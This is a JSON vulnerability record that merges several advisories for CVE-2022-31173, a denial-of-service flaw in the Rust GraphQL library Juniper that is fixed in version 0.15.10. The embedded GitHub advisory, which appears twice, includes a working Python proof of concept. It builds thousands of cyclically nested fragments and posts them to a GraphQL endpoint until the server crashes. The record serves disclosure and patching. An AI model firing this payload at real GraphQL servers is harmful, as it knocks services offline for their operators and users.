{"id":"CVE-2022-31173","aliases":["EUVD-2022-6229","GHSA-4rx6-g5vg-5f3j","RUSTSEC-2022-0038"],"status":"published","title":"Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow","description":"Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.01721,"percentile":0.77681,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-674"],"published":"2022-07-28T12:00:00Z","modified":"2026-10-28T02:30:46Z","fixes":[{"ecosystem":"crates.io","package":"juniper","fixed_in":["0.15.10"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"crates.io","package":"juniper","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.15.10"}]}]},{"source":"osv","ecosystem":"crates.io","package":"juniper","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.15.10"}]}]},{"source":"osv","ecosystem":"crates.io","package":"juniper","ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.15.10"}]}]}],"products":[{"vendor":"graphql-rust","product":"juniper"},{"vendor":"juniper_project","product":"juniper"}],"references":[{"url":"https://github.com/graphql-rust/juniper/security/advisories/GHSA-4rx6-g5vg-5f3j","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/graphql-rust/juniper/commit/2b609ee057be950e3454b69fadc431d120e407bb","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://github.com/graphql-rust/juniper/commit/8d28cdba6eb10f53490ba41d1b5cb40506c2de22","tags":["x_refsource_MISC","x_transferred","Patch","Third Party Advisory","fix","web"]},{"url":"https://github.com/graphql-rust/juniper/blob/juniper-v0.15.10/juniper/CHANGELOG.md#01510-2022-07-28","tags":["x_refsource_MISC","x_transferred","Release Notes","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-31173","tags":["advisory"]},{"url":"https://rustsec.org/advisories/RUSTSEC-2022-0038.html","tags":["web","advisory"]},{"url":"https://github.com/advisories/GHSA-4rx6-g5vg-5f3j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/31xxx/CVE-2022-31173.json","tags":["advisory"]},{"url":"https://github.com/graphql-rust/juniper","tags":["package"]},{"url":"https://crates.io/crates/juniper","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2022-31173","title":"Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow","description":"Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.","status":"published","published":"2022-08-01T18:50:12Z","modified":"2025-04-22T17:46:34.192Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:34:35.279735Z"}],"euvd":[{"id":"EUVD-2022-6229","description":"Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.","status":"published","published":"2022-08-01T18:50:12Z","modified":"2025-04-22T17:46:34Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T20:52:15.540112Z"}],"ghsa":[{"id":"GHSA-4rx6-g5vg-5f3j","title":"Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow","description":"### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n    ...a\n}\n\nfragment a on Query {\n    ...b\n}\n\nfragment b on Query {\n    ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n![](https://i.imgur.com/wXbUx8l.png)\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint('=== Fragments POC ===')\n\nurl = 'http://localhost:8080/graphql'\n\nmax_size = 7500\nperms = [''.join(p) for p in permutations('abcefghijk')]\nperms = perms[:max_size]\n\nfragment_payloads = ''\nfor i, perm in enumerate(perms):\n    next_perm = perms[i+1] if i \u003c max_size-1 else perms[0]\n    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'\n\npayload = {'query':'query{\\n  ...' + perms[0] + '\\n}' + fragment_payloads,'variables':{},'operationName':None}\n\nheaders = {\n  'Content-Type': 'application/json',\n}\n\ntry:\n    response = requests.request('POST', url, headers=headers, json=payload)\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print('Connection closed, POC worked.')\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda \n","status":"published","published":"2022-07-29T22:29:22Z","modified":"2023-07-24T20:03:39Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-674"],"updated_at":"2026-11-02T14:36:58.177785Z"}],"nvd":[{"id":"CVE-2022-31173","description":"Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.","status":"published","published":"2022-08-01T19:15:08.33Z","modified":"2026-06-17T04:44:57.583Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-400","CWE-674"],"updated_at":"2026-11-02T14:07:24.39467Z"}],"osv":[{"id":"CVE-2022-31173","title":"Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow","description":"Juniper is a GraphQL server library for Rust. Affected versions of Juniper are vulnerable to uncontrolled recursion resulting in a program crash. This issue has been addressed in version 0.15.10. Users are advised to upgrade. Users unable to upgrade should limit the recursion depth manually.","status":"published","published":"2022-08-01T18:50:12Z","modified":"2026-10-28T02:30:46.405940371Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:44:25.516981Z"},{"id":"GHSA-4rx6-g5vg-5f3j","title":"Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow","description":"### GraphQL behaviour\n\nNested fragment in GraphQL might be quite hard to handle depending on the implementation language.\nSome language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.\n\n```graphql\n# Infinite loop example\nquery {\n    ...a\n}\n\nfragment a on Query {\n    ...b\n}\n\nfragment b on Query {\n    ...a\n}\n```\n\n### POC TLDR\nWith max_size being the number of nested fragment generated.\nAt max_size=7500, it should instantly raise:\n\n![](https://i.imgur.com/wXbUx8l.png)\n\nHowever, with a lower size, you will overflow the memory after some iterations.\n\n### Reproduction steps (Juniper)\n\n```\ngit clone https://github.com/graphql-rust/juniper.git\ncd juniper\n```\n\nSave this POC as poc.py\n\n```python\nimport requests\nimport time\nimport json\nfrom itertools import permutations\n\nprint('=== Fragments POC ===')\n\nurl = 'http://localhost:8080/graphql'\n\nmax_size = 7500\nperms = [''.join(p) for p in permutations('abcefghijk')]\nperms = perms[:max_size]\n\nfragment_payloads = ''\nfor i, perm in enumerate(perms):\n    next_perm = perms[i+1] if i \u003c max_size-1 else perms[0]\n    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'\n\npayload = {'query':'query{\\n  ...' + perms[0] + '\\n}' + fragment_payloads,'variables':{},'operationName':None}\n\nheaders = {\n  'Content-Type': 'application/json',\n}\n\ntry:\n    response = requests.request('POST', url, headers=headers, json=payload)\n    print(response.text)\nexcept requests.exceptions.ConnectionError:\n    print('Connection closed, POC worked.')\n```\n\n```\ncargo run\n[in separate shell] python3 poc.py\n```\n\n### Credits\n\n[@Escape-Technologies](https://escape.tech)\n\n@c3b5aw \n@MdotTIM \n@karimhreda \n","status":"published","published":"2022-07-29T22:29:22Z","modified":"2026-02-04T03:36:46.785082Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-674"],"updated_at":"2026-11-02T15:46:37.528068Z"},{"id":"RUSTSEC-2022-0038","title":"Denial of service on deeply nested fragment requests","description":"Deeply nested fragments in a GraphQL request may cause a stack overflow in the server.","status":"published","published":"2022-07-28T12:00:00Z","modified":"2026-10-12T18:00:04.409053949Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:39.971022Z"}]}}
